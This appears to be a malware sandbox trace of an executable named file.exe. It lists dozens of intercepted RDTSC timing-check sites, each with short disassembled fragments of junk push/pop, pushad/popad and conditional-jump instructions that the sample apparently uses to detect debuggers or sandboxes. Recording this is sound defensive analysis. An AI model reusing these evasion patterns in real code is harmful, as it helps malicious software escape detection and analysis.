Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E40A54 second address: E40A5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E40A5D second address: E40A64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E40A64 second address: E40A69 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4475E second address: E44775 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F28606BF772h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4A1F9 second address: E4A21A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F286071A1BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pushad 0x00000012 jp 00007F286071A1B6h 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4A21A second address: E4A224 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F28606BF766h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4A224 second address: E4A228 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E48CAD second address: E48CB3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E490DE second address: E490F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F286071A1BDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4936E second address: E49374 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E49374 second address: E49378 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E49378 second address: E493AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28606BF779h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F28606BF76Ch 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E493AA second address: E493B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E493B0 second address: E493CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jnc 00007F28606BF766h 0x0000000c jmp 00007F28606BF76Eh 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E49514 second address: E4952C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F286071A1C2h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4952C second address: E49530 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E49530 second address: E4953F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F286071A1B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E497A3 second address: E497B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F28606BF766h 0x0000000a pop ebx 0x0000000b jl 00007F28606BF76Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E497B6 second address: E497C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 jng 00007F286071A1B6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E497C5 second address: E497D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jc 00007F28606BF76Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E497D2 second address: E497F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F286071A1C6h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E497F4 second address: E497F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4A034 second address: E4A050 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F286071A1C5h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBF832 second address: DBF838 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBF838 second address: DBF83D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D0AA second address: E4D0BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F28606BF771h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D0BF second address: E4D0CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D0CB second address: E4D0DB instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F28606BF766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D0DB second address: E4D0DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D0DF second address: E4D0EE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a pop eax 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D0EE second address: E4D0F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E50539 second address: E5053E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5053E second address: E50544 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E50544 second address: E5054D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4FF3C second address: E4FF66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F286071A1B6h 0x0000000a jmp 00007F286071A1C9h 0x0000000f jnc 00007F286071A1B6h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E500E6 second address: E500F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28606BF76Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5025E second address: E50264 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E50264 second address: E50292 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F28606BF775h 0x0000000c push ebx 0x0000000d jc 00007F28606BF766h 0x00000013 jno 00007F28606BF766h 0x00000019 pop ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c push edx 0x0000001d pop edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E57035 second address: E5705D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F286071A1BAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnc 00007F286071A1C2h 0x00000011 pop ebx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E571D4 second address: E57226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F28606BF76Ch 0x00000009 popad 0x0000000a jnp 00007F28606BF781h 0x00000010 jp 00007F28606BF766h 0x00000016 jmp 00007F28606BF775h 0x0000001b popad 0x0000001c push ecx 0x0000001d jne 00007F28606BF76Ch 0x00000023 jo 00007F28606BF766h 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F28606BF770h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E574E0 second address: E574F4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F286071A1BAh 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E574F4 second address: E574F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E574F8 second address: E574FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E574FE second address: E57503 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5764D second address: E5765A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F286071A1B6h 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E58373 second address: E58387 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F28606BF76Ah 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007F28606BF766h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E58387 second address: E5838B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5B532 second address: E5B536 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5B536 second address: E5B543 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 push edi 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5AFD0 second address: E5AFD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5AFD9 second address: E5AFDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5AFDD second address: E5B002 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jnc 00007F28606BF76Ch 0x0000000e je 00007F28606BF76Ch 0x00000014 je 00007F28606BF766h 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5E78F second address: E5E7A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F286071A1BAh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5E7A3 second address: E5E7B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F28606BF76Fh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5EBE1 second address: E5EBF4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 jo 00007F286071A1B6h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5ED84 second address: E5ED8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5ED8B second address: E5ED90 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5EF0E second address: E5EF12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5EF12 second address: E5EF1E instructions: 0x00000000 rdtsc 0x00000002 jp 00007F286071A1B6h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5F0AD second address: E5F0B7 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F28606BF766h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5F0B7 second address: E5F0D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F286071A1C6h 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6794D second address: E67961 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 jg 00007F28606BF766h 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E67961 second address: E6796C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F286071A1B6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6796C second address: E67978 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F28606BF766h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6694F second address: E66966 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F286071A1BCh 0x00000009 jno 00007F286071A1B6h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E66966 second address: E66975 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 jo 00007F28606BF766h 0x0000000b pop ecx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E66975 second address: E6697B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6697B second address: E669A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F28606BF778h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jp 00007F28606BF76Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E669A5 second address: E669CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F286071A1B8h 0x0000000a jne 00007F286071A1C2h 0x00000010 jns 00007F286071A1C9h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E66CAD second address: E66CC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 je 00007F28606BF766h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jc 00007F28606BF766h 0x00000015 ja 00007F28606BF766h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E66CC8 second address: E66CD7 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F286071A1B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E66CD7 second address: E66D12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F28606BF779h 0x00000009 jmp 00007F28606BF76Fh 0x0000000e popad 0x0000000f jmp 00007F28606BF76Eh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E67013 second address: E6702F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007F286071A1C5h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6761B second address: E67622 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6CD2A second address: E6CD2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6FDEE second address: E6FDF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6FDF8 second address: E6FDFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7022D second address: E70233 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E70233 second address: E70242 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jno 00007F286071A1B6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E70242 second address: E70246 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E70246 second address: E7025C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007F286071A1B6h 0x00000010 jbe 00007F286071A1B6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7025C second address: E70260 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E703C8 second address: E703CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7058F second address: E705B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28606BF773h 0x00000007 jno 00007F28606BF766h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E705B0 second address: E705B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E705B6 second address: E705BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E72F01 second address: E72F14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F286071A1BFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E72F14 second address: E72F48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F28606BF770h 0x0000000e jo 00007F28606BF766h 0x00000014 popad 0x00000015 pushad 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 push eax 0x00000019 pop eax 0x0000001a jp 00007F28606BF766h 0x00000020 popad 0x00000021 jp 00007F28606BF76Ch 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E72F48 second address: E72F59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 je 00007F286071A1B6h 0x0000000e push esi 0x0000000f pop esi 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E72F59 second address: E72F5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E72F5E second address: E72F66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7A8DD second address: E7A8E3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E78FCB second address: E78FD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E78FD1 second address: E78FD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E78FD5 second address: E78FDF instructions: 0x00000000 rdtsc 0x00000002 jg 00007F286071A1B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E792C3 second address: E792C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E792C8 second address: E792CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E792CE second address: E792D4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E79414 second address: E79418 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E79418 second address: E7941C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7941C second address: E79422 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
